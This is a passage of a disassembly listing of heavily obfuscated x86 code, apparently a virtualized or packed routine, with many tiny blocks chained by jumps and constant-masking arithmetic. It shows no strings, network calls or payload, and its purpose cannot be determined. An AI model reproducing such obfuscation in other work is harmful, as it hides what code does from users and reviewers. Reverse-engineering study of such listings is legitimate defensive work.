--------------------------------------------------------------------------- lodsw push edi push eax push ebx mov bx, 33AEh mov ax, 7151h xor ax, bx pop ebx and ax, 60C3h xor ax, 449Ch shl ax, 4 push cx mov cx, 525h or ax, cx pop cx dec ax jmp loc_5A307B ; --------------------------------------------------------------------------- loc_599BA6: ; CODE XREF: sub_57DD3A+20E00j pop ebx jmp loc_599BBE ; --------------------------------------------------------------------------- loc_599BAC: ; CODE XREF: sub_57DD3A+1A1CFj pop esp jmp loc_591CAB ; --------------------------------------------------------------------------- loc_599BB2: ; CODE XREF: sub_57DD3A+18E11j mov ecx, 767C0F22h push ebx push esi jmp loc_593C62 ; --------------------------------------------------------------------------- loc_599BBE: ; CODE XREF: sub_57DD3A+1BE6Dj shl ebx, 2 sub esp, 4 mov [esp+0Eh+var_E], edx mov edx, 74E43F9Ah jmp loc_5A12A7 ; --------------------------------------------------------------------------- loc_599BD1: ; CODE XREF: sub_57DD3A+2415Fj xchg ebx, ebp push eax mov eax, 5303154Ah jmp loc_59A323 ; --------------------------------------------------------------------------- loc_599BDE: ; CODE XREF: sub_57DD3A+20D98j sub ebx, esi pop esi dec ebx add ebx, 0F38BFC6Eh or eax, ebx pop ebx push esi mov esi, 24D404C8h or esi, 4E3A4737h shl esi, 1 sub esi, 0B5DA8FE6h add eax, esi pop esi mov edx, eax mov eax, [esp+0] jmp loc_592A74 ; --------------------------------------------------------------------------- loc_599C0C: ; CODE XREF: sub_57DD3A+1270Fj mov ecx, esp add ecx, 4 jmp loc_59A856 ; --------------------------------------------------------------------------- loc_599C19: ; CODE XREF: sub_57DD3A+1A9B3j add eax, esi jmp loc_59A789 ; --------------------------------------------------------------------------- loc_599C20: ; CODE XREF: sub_57DD3A+232F0j add edi, 0EF7FD441h or ecx, edi mov edi, [esp+4+var_4] add esp, 4 push esi mov esi, 89B1E211h sub ecx, esi pop esi mov ebx, ecx pop ecx neg ebx push ebp jmp loc_59E169 ; --------------------------------------------------------------------------- loc_599C42: ; CODE XREF: sub_57DD3A+13C99j add ebp, edx push 5CF9h jmp loc_5983D3 ; --------------------------------------------------------------------------- loc_599C4E: ; CODE XREF: sub_57DD3A+1D8CAj push edx push 4 pop edx add esi, edx pop edx push 686Ch mov [esp+12h+var_12], ebx push ecx mov ecx, 3A4406E7h jmp loc_592D7E ; --------------------------------------------------------------------------- loc_599C6B: ; CODE XREF: sub_57DD3A+150D6j mov ebp, 718A08B2h shl ebp, 4 sub ebp, 5DBB2188h jmp loc_599FC5 ; --------------------------------------------------------------------------- loc_599C7E: ; CODE XREF: sub_57DD3A+18CBCj pop eax shr edi, 6 or edi, 61286C83h sub edi, 0FFFFFFFFh xor edi, 613CFFDCh jmp loc_58FDC4 ; --------------------------------------------------------------------------- loc_599C99: ; CODE XREF: sub_57DD3A+1D977j shl ebx, 8 xor ebx, 0AE032604h mov ecx, ebx pop ebx add edi, ecx pop ecx xchg edi, [esp+50h+var_50] pop esp jmp loc_59EA6F ; --------------------------------------------------------------------------- loc_599CB1: ; CODE XREF: sub_57DD3A+15E77j sub ebp, 7D97DD2Dh add eax, ebp mov ebp, [esp+4Ch+var_4C] add esp, 4 add ebx, eax jmp loc_594523 ; --------------------------------------------------------------------------- loc_599CC9: ; CODE XREF: sub_57DD3A+235CDj pop eax push edx mov edx, 1D744330h add edi, 1AD1515Dh add edi, edx push edx mov edx, 6BF626B9h dec edx sub edx, 607A1D9Ah dec edx dec edx jmp loc_595DB6 ; --------------------------------------------------------------------------- loc_599CEC: ; CODE XREF: sub_57DD3A+1F517j add esp, 4 add bl, 91h add bl, dl sub bl, 91h mov dx, [esp+0] add esp, 2 jmp loc_5920C7 ; --------------------------------------------------------------------------- loc_599D06: ; CODE XREF: sub_57DD3A+1CB3Fj dec edi push edi jmp loc_5A25D0 ; --------------------------------------------------------------------------- loc_599D0D: ; CODE XREF: sub_57DD3A+13B44j push eax push esp mov eax, [esp+2Ah+var_2A] add esp, 4 add eax, 4 add eax, 4 xchg eax, [esp+26h+var_26] pop esp sub esp, 4 mov [esp+26h+var_26], ebp sub esp, 4 mov [esp+2Ah+var_2A], eax jmp loc_590C33 ; --------------------------------------------------------------------------- loc_599D38: ; CODE XREF: sub_57DD3A+16B35j xor ecx, [esp+42h+var_42] pop esp bts word ptr [esp+3Eh+var_3E], ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_599D47: ; CODE XREF: sub_57DD3A+1D5D4j push [esp+42h+var_42] pop edx add esp, 4 shr bl, 5 and bl, 14h jmp loc_58FCB1 ; --------------------------------------------------------------------------- loc_599D59: ; CODE XREF: sub_57DD3A+18012j pop esp sub edx, 29C03E58h sub edx, eax push esi jmp loc_5900CF ; --------------------------------------------------------------------------- loc_599D68: ; CODE XREF: sub_57DD3A+21CE8j dec edi jmp loc_5928EC ; --------------------------------------------------------------------------- loc_599D6E: ; CODE XREF: sub_57DD3A+1D612j sub ecx, 83F7051h jmp loc_597077 ; --------------------------------------------------------------------------- loc_599D79: ; CODE XREF: sub_57DD3A+1DCE6j push ebx mov ebx, 526C7798h jmp loc_595310 ; --------------------------------------------------------------------------- loc_599D84: ; CODE XREF: sub_57DD3A+10B5Ej push ebx push ecx jmp loc_59F528 ; --------------------------------------------------------------------------- loc_599D8B: ; CODE XREF: sub_57DD3A+13FE4j mov edx, 74DC3087h xchg eax, edx not eax xchg eax, edx inc edx shr edx, 4 xor edx, 8B23CF3h jmp loc_58E5A2 ; --------------------------------------------------------------------------- loc_599DA3: ; CODE XREF: sub_57DD3A+20D6Aj mov eax, 64487C61h or eax, 73A93498h sub eax, 0FFFFFFFFh shr eax, 2 jmp loc_5933A0 ; --------------------------------------------------------------------------- loc_599DB8: ; CODE XREF: sub_57DD3A+19701j neg ebx xor ebx, 0A443EFC0h sub ebx, edi push [esp+4+var_4] mov edi, [esp+8+var_8] jmp loc_59D3DE ; --------------------------------------------------------------------------- loc_599DCD: ; CODE XREF: sub_57DD3A+11296j not eax xor eax, 99C2BCEAh jmp loc_5994D7 ; --------------------------------------------------------------------------- loc_599DD9: ; CODE XREF: sub_57DD3A+200E9j mov eax, esp add eax, 4 add eax, 4 jmp loc_592BFD ; --------------------------------------------------------------------------- loc_599DEA: ; CODE XREF: sub_57DD3A+20CB7j xor esi, ecx pop ecx sub edi, esi jmp loc_59AA9E ; --------------------------------------------------------------------------- loc_599DF4: ; CODE XREF: sub_57DD3A+20E91j mov edx, [esp+42h+var_42] add esp, 4 pop ecx jmp loc_59CE9C ; --------------------------------------------------------------------------- loc_599E03: ; CODE XREF: sub_57DD3A+18261j xor edi, 11CE45A4h jmp loc_59D51F ; --------------------------------------------------------------------------- loc_599E0E: ; CODE XREF: sub_57DD3A+217A5j mov ebx, 0E6053465h add eax, ebx pop ebx push eax sub [esp+4+var_4], 1F993F9Ch pop edx add edx, 1F993F9Ch jmp loc_595B8B ; --------------------------------------------------------------------------- loc_599E2A: ; CODE XREF: sub_57DD3A+1B052j mov [esp+0Ch+var_E+2], edi jmp loc_5915F8 ; --------------------------------------------------------------------------- loc_599E32: ; CODE XREF: sub_57DD3A+111FCj mov edi, 2BFF2B30h jmp loc_5A0D47 ; --------------------------------------------------------------------------- loc_599E3C: ; CODE XREF: sub_57DD3A+24BC3j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_599E41: ; CODE XREF: sub_57DD3A+14804j sub ecx, 2A5537A4h jmp loc_59B1B5 ; --------------------------------------------------------------------------- loc_599E4C: ; CODE XREF: sub_57DD3A+15753j xor ecx, [esp+3Ah+var_3A] xor [esp+3Ah+var_3A], ecx xor ecx, [esp+3Ah+var_3A] mov esp, [esp+3Ah+var_3A] or edx, eax shl edx, 1 xchg ebx, [edi+24h] push esi push esp jmp loc_597AD5 ; --------------------------------------------------------------------------- loc_599E66: ; CODE XREF: sub_57DD3A+16DE2j add esp, 4 push 753Dh mov [esp+52h+var_54+2], esi jmp loc_59C358 ; --------------------------------------------------------------------------- loc_599E79: ; CODE XREF: sub_57DD3A+1993Dj mov edx, 4 add eax, edx pop edx jmp loc_598723 ; --------------------------------------------------------------------------- loc_599E86: ; CODE XREF: sub_57DD3A+18E09j inc ebp xor ebp, 15576314h add edi, ebp pop ebp push esi jmp loc_59AAE6 ; --------------------------------------------------------------------------- loc_599E96: ; CODE XREF: sub_57DD3A+1C27Dj xchg edi, [esp+36h+var_36] jmp loc_5936E2 ; --------------------------------------------------------------------------- loc_599E9E: ; CODE XREF: sub_57DD3A+14EA3j mov eax, 2E3474E5h jmp loc_5A11C7 ; --------------------------------------------------------------------------- loc_599EA8: ; CODE XREF: sub_57DD3A+1B589j sub ebp, 0D5B4EF0Bh mov ebx, ebp pop ebp add eax, ebx pop ebx jmp loc_591FBD ; --------------------------------------------------------------------------- loc_599EB9: ; CODE XREF: sub_57DD3A+2359Dj pop esi add ebp, 0C5FA0AD5h add eax, ebp jmp loc_59A976 ; --------------------------------------------------------------------------- loc_599EC7: ; CODE XREF: sub_57DD3A+1E443j shl ecx, 1 shl ecx, 2 dec ecx xor ecx, 3884C0DBh sub edi, ecx pop ecx sub eax, 6110580Fh sub esp, 4 mov [esp+24h+var_26+2], ecx mov ecx, 34807953h jmp loc_592A58 ; --------------------------------------------------------------------------- loc_599EEE: ; CODE XREF: sub_57DD3A+17814j push [esp+12h+var_12] jmp loc_59FE0D ; --------------------------------------------------------------------------- loc_599EF6: ; CODE XREF: sub_57DD3A+1BBFAj push ebp pop edi jmp loc_593608 ; --------------------------------------------------------------------------- loc_599EFD: ; CODE XREF: sub_57DD3A+18EB6j mov ebx, 4 jmp loc_5A1D04 ; --------------------------------------------------------------------------- loc_599F07: ; CODE XREF: sub_57DD3A+1327Cj mov edx, ebp sub esp, 4 mov [esp+1Eh+var_1E], edx add [esp+1Eh+var_1E], 0B456EF1h jmp loc_595DE1 ; --------------------------------------------------------------------------- loc_599F1E: ; CODE XREF: sub_57DD3A+12CB9j and ah, 0A7h shl ah, 3 shr ah, 8 sub ah, 18h mov dl, ah jmp loc_59FEDB ; --------------------------------------------------------------------------- loc_599F31: ; CODE XREF: sub_57DD3A+193FAj mov cl, bh pop ebx push ebp jmp loc_59FAD6 ; --------------------------------------------------------------------------- loc_599F3A: ; CODE XREF: sub_57DD3A+24E5Bj sub ecx, 179F0283h add ecx, ebx jmp loc_592E15 ; --------------------------------------------------------------------------- loc_599F47: ; CODE XREF: sub_57DD3A+1E619j xor eax, ecx xor ecx, eax xor eax, ecx push esi mov esi, 1E0981h add eax, esi pop esi and ecx, eax jmp loc_595519 ; --------------------------------------------------------------------------- loc_599F5D: ; CODE XREF: sub_57DD3A+22801j push edi mov edi, 6A305B03h xor edi, 38816C1Dh add edi, 0FD3436Ah sub edi, 786B5AFEh jmp loc_598E7A ; --------------------------------------------------------------------------- loc_599F7A: ; CODE XREF: sub_57DD3A+230E5j mov esi, 11BB56F0h push ebx mov ebx, 803C14h push ebp mov ebp, 0FF7FC3EBh add ebx, ebp mov ebp, [esp+2Ah+var_2A] jmp loc_5A03D3 ; --------------------------------------------------------------------------- loc_599F95: ; CODE XREF: sub_57DD3A+22A83j add edx, 4 xchg edx, [esp+2Ah+var_2A] pop esp push eax push 4DB84392h mov eax, [esp+2Eh+var_2E] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_599E96 ; --------------------------------------------------------------------------- loc_599FBC: ; CODE XREF: sub_57DD3A+207ADj mov [esp+32h+var_32], esi push edx jmp loc_5A0E0A ; --------------------------------------------------------------------------- loc_599FC5: ; CODE XREF: sub_57DD3A+1BF3Fj or ebp, 44C111B9h sub ebp, 0F8FF39A9h xor eax, ebp pop ebp not eax sub eax, 0A2A95094h mov ebp, eax jmp loc_599481 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_599FEA: ; CODE XREF: sub_57DD3A+1C490j pop ebx or ebx, 22AD20ECh push edi mov edi, 0FBADA7EBh sub ebx, edi push [esp+28h+var_2A+2] jmp loc_59D88A ; --------------------------------------------------------------------------- loc_59A001: ; CODE XREF: sub_57DD3A+11162j push 352769D9h pop esi jmp loc_59BF0D ; --------------------------------------------------------------------------- loc_59A00C: ; CODE XREF: sub_57DD3A+1EAC2j mov dh, 9Dh mov bl, 0F0h sub bl, dh pop edx push 368Ah mov [esp+32h+var_32], eax push 246Ah mov [esp+36h+var_36], ebx push edx mov dl, 9Bh jmp loc_5A2887 ; --------------------------------------------------------------------------- loc_59A02B: ; CODE XREF: sub_57DD3A+1A9A2j sub al, bh mov ebx, [esp+0Ch+var_E+2] jmp loc_595C9D ; --------------------------------------------------------------------------- loc_59A035: ; CODE XREF: sub_57DD3A+109B4j xor ebx, edx pop edx push edx mov edx, 7E314757h not edx shl edx, 1 sub edx, 0D956DCAh inc edx sub edx, 85EDCC2Dh jmp loc_5A1FEA ; --------------------------------------------------------------------------- mov ax, word ptr [esp+10h+var_12+2] push 0FC9h mov [esp+14h+var_16+2], ebx sub esp, 4 mov [esp+18h+var_1A+2], esp push 6D31h mov [esp+1Ch+var_1E+2], edx push 4213h mov [esp+20h+var_22+2], eax push 48F36E82h jmp loc_595802 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+24h+var_26+2] push eax mov eax, esp add eax, 4 push ecx mov ecx, 4 sub eax, ecx pop ecx xchg eax, [esp+28h+var_2A+2] pop esp mov [esp+24h+var_26+2], edx push ebx jmp loc_58FCCA ; --------------------------------------------------------------------------- loc_59A0A5: ; CODE XREF: sub_57DD3A+203ACj add ebp, 4 jmp loc_5A03A6 ; --------------------------------------------------------------------------- loc_59A0B0: ; CODE XREF: sub_57DD3A+16B98j push edi jmp loc_59EA82 ; --------------------------------------------------------------------------- loc_59A0B6: ; CODE XREF: sub_57DD3A+21BA2j sub ecx, 0DF91BE7h sub ecx, edi add ecx, 0DF91BE7h pop edi push ebx mov ebx, 12681DDCh dec ebx xor ebx, 278168BAh or ebx, 6CF07CBEh add ebx, 0A8D3BEA0h add ecx, ebx pop ebx xor ecx, 78B41472h jmp loc_5A13F6 ; --------------------------------------------------------------------------- loc_59A0EC: ; CODE XREF: sub_57DD3A+21836j pop edx jmp loc_590589 ; --------------------------------------------------------------------------- loc_59A0F2: ; CODE XREF: sub_57DD3A+19374j add esp, 4 sub ebx, 21044F89h add ebx, eax add ebx, 21044F89h jmp loc_59ADB7 ; --------------------------------------------------------------------------- loc_59A108: ; CODE XREF: sub_57DD3A+20B30j pop esp jmp loc_5A2DE8 ; --------------------------------------------------------------------------- loc_59A10E: ; CODE XREF: sub_57DD3A+203C4j xchg edx, [esp-18h+arg_12+2] pop esp jmp loc_58E9DC ; --------------------------------------------------------------------------- loc_59A117: ; CODE XREF: sub_57DD3A+1CDB3j mov esi, [esp-1Ch+arg_16+2] jmp loc_596905 ; --------------------------------------------------------------------------- loc_59A11F: ; CODE XREF: sub_57DD3A+17D9Dj mov dh, bh jmp loc_5999AA ; --------------------------------------------------------------------------- lodsb xor al, bl push small 5165h mov word ptr [esp+40h+var_42+2], bx push eax push ecx mov cl, 0A8h jmp loc_59F176 ; --------------------------------------------------------------------------- loc_59A13A: ; CODE XREF: sub_57DD3A+24CC4j mov ebp, ecx pop ecx add ebx, ebp mov ebp, [esp+44h+var_46+2] add esp, 4 push edx jmp loc_59CABC ; --------------------------------------------------------------------------- loc_59A14E: ; CODE XREF: sub_57DD3A+1FB6Bj mov [esp+44h+var_46+2], esi mov eax, [esp+44h+var_46+2] push ebx push esp jmp loc_5960D0 ; --------------------------------------------------------------------------- lodsd jmp loc_591254 ; --------------------------------------------------------------------------- loc_59A161: ; CODE XREF: sub_57DD3A+21C3Aj mov edi, [esp+4Ch+var_4C] jmp loc_5940E5 ; --------------------------------------------------------------------------- loc_59A169: ; CODE XREF: sub_57DD3A+138B9j pop esi push ecx mov ecx, 1D1D716Fh sub edx, ecx pop ecx add edx, ebx push esi mov esi, 1D1D716Fh add edx, esi pop esi pop ebx push esi jmp loc_59BD55 ; --------------------------------------------------------------------------- loc_59A185: ; CODE XREF: sub_57DD3A+1E68Ej mov edx, [esp+0] add esp, 4 jmp loc_59FA9D ; --------------------------------------------------------------------------- loc_59A193: ; CODE XREF: sub_57DD3A+1EB20j add ebx, 786976h jmp loc_59A247 ; --------------------------------------------------------------------------- loc_59A19E: ; CODE XREF: sub_57DD3A+248B6j push esi xor dword ptr [esp+0], 5516469Eh push dword ptr [esp+0] pop ebx add esp, 4 xor ebx, 5516469Eh mov esi, [esp-4+arg_0] add esp, 4 add eax, 2D5329FDh jmp loc_5A061A ; --------------------------------------------------------------------------- loc_59A1C6: ; CODE XREF: sub_57DD3A+20290j push ebx not [esp-4+arg_0] jmp loc_599FEA ; --------------------------------------------------------------------------- loc_59A1CF: ; CODE XREF: sub_57DD3A+1F9CCj xor dl, al mov eax, [esp-4+arg_0] jmp loc_58E9FB ; --------------------------------------------------------------------------- loc_59A1D9: ; CODE XREF: sub_57DD3A+21BCFj sub esp, 4 jmp loc_5996D5 ; --------------------------------------------------------------------------- loc_59A1E4: ; CODE XREF: sub_57DD3A+1D413j xor edx, [esp+0] jmp loc_59B26D ; --------------------------------------------------------------------------- loc_59A1EC: ; CODE XREF: sub_57DD3A+1E5CCj add ebp, ebx pop ebx add eax, ebp pop ebp add edx, eax mov eax, [esp+0] add esp, 4 jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59A1FF: ; CODE XREF: sub_57DD3A+1AA40j mov esp, [esp+1Ch+var_1E+2] push [esp+1Ch+var_1E+2] pop eax add esp, 4 push ebp mov ebp, 590A5C6Ch push ebp dec [esp+20h+var_22+2] pop ebp or ebp, 369013D3h dec ebp jmp loc_5934FA ; --------------------------------------------------------------------------- loc_59A223: ; CODE XREF: sub_57DD3A+2446Fj mov ecx, 37036DBAh not ecx sub ecx, 75080793h jmp loc_58F40B ; --------------------------------------------------------------------------- loc_59A235: ; CODE XREF: sub_57DD3A+1B381j add ebx, esi pop esi sub ebx, 4 xchg ebx, [esp+14h+var_16+2] pop esp jmp loc_594F49 ; --------------------------------------------------------------------------- loc_59A247: ; CODE XREF: sub_57DD3A+1C45Fj push 1976h mov [esp+0], eax push ebp push eax push edi mov edi, 21E54CB5h mov eax, edi pop edi mov ebp, eax pop eax mov eax, 910D34A6h sub eax, 2E213106h sub eax, 440F2A2Ah sub eax, ebp add eax, 440F2A2Ah add eax, 2E213106h mov ebp, [esp+4+var_4] jmp loc_5A092F ; --------------------------------------------------------------------------- loc_59A280: ; CODE XREF: sub_57DD3A+2029Ej push edx mov edx, 3CEB61F1h inc edx jmp loc_5984F4 ; --------------------------------------------------------------------------- loc_59A28C: ; CODE XREF: sub_57DD3A+1D11Aj dec esi xor eax, esi xor esi, eax jmp loc_5A01EE ; --------------------------------------------------------------------------- loc_59A296: ; CODE XREF: sub_57DD3A+11132j inc eax xor eax, 5D6207FEh jmp loc_594847 ; --------------------------------------------------------------------------- loc_59A2A1: ; CODE XREF: sub_57DD3A+1212Ej mov esi, [esp+14h+var_16+2] add esp, 4 shl edi, 2 shl edi, 3 jmp loc_595AF2 ; --------------------------------------------------------------------------- loc_59A2B2: ; CODE XREF: sub_57DD3A+13704j sub esi, 6F187F54h add esi, 0CB801B7Ah jmp loc_59E0F3 ; --------------------------------------------------------------------------- loc_59A2C3: ; CODE XREF: sub_57DD3A+20C76j pop edx xor esi, [esp+26h+var_26] xor [esp+26h+var_26], esi xor esi, [esp+26h+var_26] pop esp push [esp+22h+var_22] mov edi, [esp+26h+var_26] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+2Ah+var_2A] jmp loc_5900DE ; --------------------------------------------------------------------------- loc_59A2E8: ; CODE XREF: sub_57DD3A+1A43Aj mov ecx, 14653E8Bh xor ecx, 22854990h sub ecx, 2AEA6244h shl ecx, 8 jmp loc_590927 ; --------------------------------------------------------------------------- loc_59A301: ; CODE XREF: sub_57DD3A+14471j not [esp+0Eh+var_E] jmp loc_59BCCB ; --------------------------------------------------------------------------- loc_59A309: ; CODE XREF: sub_57DD3A+24399j shl ebx, 8 neg ebx sub ebx, 7BAA4A99h jmp loc_59EE52 ; --------------------------------------------------------------------------- loc_59A319: ; CODE XREF: sub_57DD3A+1E84Bj mov edx, 89741A1h jmp loc_598AA1 ; --------------------------------------------------------------------------- loc_59A323: ; CODE XREF: sub_57DD3A+1BE9Fj add eax, 620768A9h shl eax, 3 and eax, 737E77CCh jmp loc_59C8D4 ; --------------------------------------------------------------------------- loc_59A335: ; CODE XREF: sub_57DD3A+1D245j sub esp, 4 mov [esp+16h+var_16], esp add [esp+16h+var_16], 4 pop edx push eax mov eax, 4 add edx, eax mov eax, [esp+16h+var_16] jmp loc_59B038 ; --------------------------------------------------------------------------- loc_59A350: ; CODE XREF: sub_57DD3A+17C3Fj push edx mov edx, 0AAF7A58h sub [esp+24h+var_22+2], edx pop edx push [esp+20h+var_22+2] mov ecx, [esp+24h+var_26+2] add esp, 4 push esi mov esi, esp jmp loc_590866 ; --------------------------------------------------------------------------- loc_59A36C: ; CODE XREF: sub_57DD3A+16231j push 26D2h mov [esp+4Eh+var_50+2], eax jmp loc_59C2AC ; --------------------------------------------------------------------------- loc_59A379: ; CODE XREF: sub_57DD3A+1D9D1j sub edx, eax sub edx, 21550ADCh pop eax mov ebp, edx jmp loc_59C87F ; --------------------------------------------------------------------------- loc_59A389: ; CODE XREF: sub_57DD3A+180D4j add esi, edi add esi, 2C9B4D09h jmp loc_5951F3 ; --------------------------------------------------------------------------- loc_59A396: ; CODE XREF: sub_57DD3A+13185j push [esp+68h+var_68] pop esi jmp loc_598B55 ; --------------------------------------------------------------------------- loc_59A39F: ; CODE XREF: sub_57DD3A+1EE61j pop ecx add esp, 4 xor ecx, eax xor eax, ecx xor ecx, eax push edx push 314Dh mov [esp+68h+var_68], esi jmp loc_58FC06 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr [esp+66h+var_68+2], cl pushf jmp loc_596C22 ; --------------------------------------------------------------------------- loc_59A3C9: ; CODE XREF: sub_57DD3A+14956j sub eax, 1ACD2660h mov ecx, [esp+18h+var_1A+2] add esp, 4 pop edi push ecx push esp jmp loc_59D5D4 ; --------------------------------------------------------------------------- loc_59A3DF: ; CODE XREF: sub_57DD3A+19A7Fj push 46A0h jmp loc_58EAE8 ; --------------------------------------------------------------------------- loc_59A3E9: ; CODE XREF: sub_57DD3A+1FA00j inc esi add esi, 8B624E7Fh jmp loc_598A2D ; --------------------------------------------------------------------------- loc_59A3F5: ; CODE XREF: sub_57DD3A+14DF0j add ecx, 4 sub esp, 4 mov [esp+2+var_4+2], ecx push dword ptr [esp+4] push [esp+6+var_8+2] pop ecx push ecx mov ecx, esp push edi push ebx mov ebx, 23A20E4Dh mov edi, 38097C14h not edi xor edi, 0F1E60842h sub edi, ebx pop ebx inc edi dec edi jmp loc_59A484 ; --------------------------------------------------------------------------- loc_59A42D: ; CODE XREF: sub_57DD3A+1E29Dj mov dl, bl mov ebx, [esp+0Eh+var_E] add esp, 4 mov bl, dl mov edx, [esp+0] add esp, 4 mov eax, [esp+6+var_8+2] jmp loc_59969E ; --------------------------------------------------------------------------- loc_59A448: ; CODE XREF: sub_57DD3A+1713Dj add ebp, 10A7168h sub ebp, edi jmp loc_593217 ; --------------------------------------------------------------------------- loc_59A455: ; CODE XREF: sub_57DD3A+23630j dec esi shl esi, 8 sub esi, 9F2342E6h sub ebx, esi pop esi add ebx, ecx push ecx mov ecx, 2A5A7CFCh sub ecx, 0C4E214E2h sub ebx, 6FEF1D46h add ebx, ecx add ebx, 6FEF1D46h pop ecx jmp loc_59247C ; --------------------------------------------------------------------------- loc_59A484: ; CODE XREF: sub_57DD3A+1C6EEj sub edi, 0FFFFFFFFh xor edi, 126E7D59h sub ecx, 64D50F23h add ecx, edi jmp loc_599260 ; --------------------------------------------------------------------------- loc_59A49A: ; CODE XREF: sub_57DD3A+11FE8j add eax, 2E0E1077h xor eax, 666218C1h sub eax, 1D1962B1h push ebp push esi jmp loc_58FCC0 ; --------------------------------------------------------------------------- loc_59A4B0: ; CODE XREF: sub_57DD3A+11D0Ej mov cl, al mov dl, cl push [esp+0Ch+var_E+2] jmp loc_58E54D ; --------------------------------------------------------------------------- loc_59A4BC: ; CODE XREF: sub_57DD3A+17ABDj xor eax, ebx pop ebx jmp loc_5A17AB ; --------------------------------------------------------------------------- loc_59A4C4: ; CODE XREF: sub_57DD3A+17E3Fj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+14h+var_16+2] pop esp xor eax, edi push [esp+10h+var_12+2] pop edi push eax mov eax, esp jmp loc_591DBF ; --------------------------------------------------------------------------- loc_59A4E1: ; CODE XREF: sub_57DD3A+130FAj add esi, 5F692D2Eh mov ecx, [esp+54h+var_54] jmp loc_59B8AF ; --------------------------------------------------------------------------- loc_59A4EF: ; CODE XREF: sub_57DD3A+1B830j mov [esp+1Ch+var_1E+2], eax mov ah, 0AFh or ah, 0A7h add ah, 0FFh jmp loc_59FBC9 ; --------------------------------------------------------------------------- loc_59A4FF: ; CODE XREF: sub_57DD3A+171F0j shr esi, 7 add esi, 0CAF5825Eh xor eax, esi pop esi or ecx, eax mov eax, [esp+4Ah+var_4C+2] jmp loc_5980FA ; --------------------------------------------------------------------------- loc_59A515: ; CODE XREF: sub_57DD3A+15BEAj xor edi, ebx jmp loc_596507 ; --------------------------------------------------------------------------- loc_59A51C: ; CODE XREF: sub_57DD3A+1DDCAj sub edx, ebp pop ebp inc edx sub edx, 0A2C6DC1Ah and edx, 4373131Fh push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+5Ch+var_5C] pop esp mov [esp+58h+var_58], ecx jmp loc_59F3AA ; --------------------------------------------------------------------------- loc_59A543: ; CODE XREF: sub_57DD3A+140C3j add ecx, 4 jmp loc_5A130C ; --------------------------------------------------------------------------- loc_59A54E: ; CODE XREF: sub_57DD3A+1D8B8j xor edi, [esp+70h+var_70] xor [esp+70h+var_70], edi xor edi, [esp+70h+var_70] jmp loc_59C8EC ; --------------------------------------------------------------------------- loc_59A55C: ; CODE XREF: sub_57DD3A+1DB55j pop ebx jmp loc_5A029E ; --------------------------------------------------------------------------- loc_59A562: ; CODE XREF: sub_57DD3A+24C01j pop ebx jmp loc_59B72D ; --------------------------------------------------------------------------- loc_59A568: ; CODE XREF: sub_57DD3A+17245j sub ebp, 425C5992h mov eax, [esp+68h+var_68] add esp, 4 xor ebp, [esp+64h+var_64] xor [esp+64h+var_64], ebp xor ebp, [esp+64h+var_64] mov esp, [esp+64h+var_64] shl word ptr [esp+64h+var_64], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59A58A: ; CODE XREF: sub_57DD3A+11C97j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+14h+var_16+2] pop esp pop esi push ecx push ebp push 22624170h pop ebp jmp loc_596C91 ; --------------------------------------------------------------------------- loc_59A5A8: ; CODE XREF: sub_57DD3A+248F9j add [esp+14h+var_16+2], 0EA13BDh pop ebx sub ebx, 0EA13BDh pop esi mov eax, [esp+0Ch+var_E+2] add esp, 4 mov edi, ebx mov ebx, [esp+8+var_8] push ebp jmp loc_59D798 ; --------------------------------------------------------------------------- loc_59A5C8: ; CODE XREF: sub_57DD3A+15BA0j mov ebx, esp add ebx, 4 jmp loc_5952B5 ; --------------------------------------------------------------------------- loc_59A5D5: ; CODE XREF: sub_57DD3A+19AA6j pop esp push eax push esp pop eax add eax, 4 push ecx mov ecx, 4 add eax, ecx pop ecx xor eax, [esp+1Ch+var_1E+2] jmp loc_590F54 ; --------------------------------------------------------------------------- loc_59A5EF: ; CODE XREF: sub_57DD3A+1EF5Cj mov eax, esp push edi mov edi, 0EB83F34h jmp loc_59FA09 ; --------------------------------------------------------------------------- loc_59A5FC: ; CODE XREF: sub_57DD3A+1ADF1j mov edi, 35BE3DE6h mov eax, 90750659h sub eax, edi mov edi, [esp+3Ah+var_3A] add esp, 4 sub ebp, eax pop eax sub [edi+24h], ebp jmp loc_59263A ; --------------------------------------------------------------------------- loc_59A61C: ; CODE XREF: sub_57DD3A+1B271j add bl, 3Dh mov cl, bl pop ebx sub cl, 0A5h jmp loc_593429 ; --------------------------------------------------------------------------- loc_59A62A: ; CODE XREF: sub_57DD3A+17D95j push esi mov esi, 39B111AFh add esi, 50FF094Eh neg esi or esi, 452041AEh sub esi, 3AFA4B4Bh add esi, 0C58A659Bh sub ebp, esi jmp loc_59529F ; --------------------------------------------------------------------------- loc_59A651: ; CODE XREF: sub_57DD3A+25217j push esi mov esi, 2B685CC4h sub esp, 4 mov [esp+4Ah+var_4C+2], edi push ebp mov ebp, 633C1039h mov edi, ebp pop ebp not edi not edi and edi, 9B75873h jmp loc_59EDD4 ; --------------------------------------------------------------------------- loc_59A675: ; CODE XREF: sub_57DD3A+1D6E0j mov esi, 5817AD7Eh jmp loc_59D650 ; --------------------------------------------------------------------------- loc_59A67F: ; CODE XREF: sub_57DD3A+179EEj and [esp+24h+var_26+2], eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59A688: ; CODE XREF: sub_57DD3A+2367Bj mov ebp, [esp+28h+var_2A+2] add esp, 4 push esi jmp loc_58E800 ; --------------------------------------------------------------------------- loc_59A697: ; CODE XREF: sub_57DD3A+1D1BFj pop ebx jmp loc_598E20 ; --------------------------------------------------------------------------- loc_59A69D: ; CODE XREF: sub_57DD3A+1E04Bj push 1D53h mov [esp+28h+var_2A+2], ebx mov ebx, 346F6C5Bh inc ebx jmp loc_5A20C4 ; --------------------------------------------------------------------------- loc_59A6B0: ; CODE XREF: sub_57DD3A+2225Fj sub dl, 1Bh mov bh, dl jmp loc_59647B ; --------------------------------------------------------------------------- loc_59A6BA: ; CODE 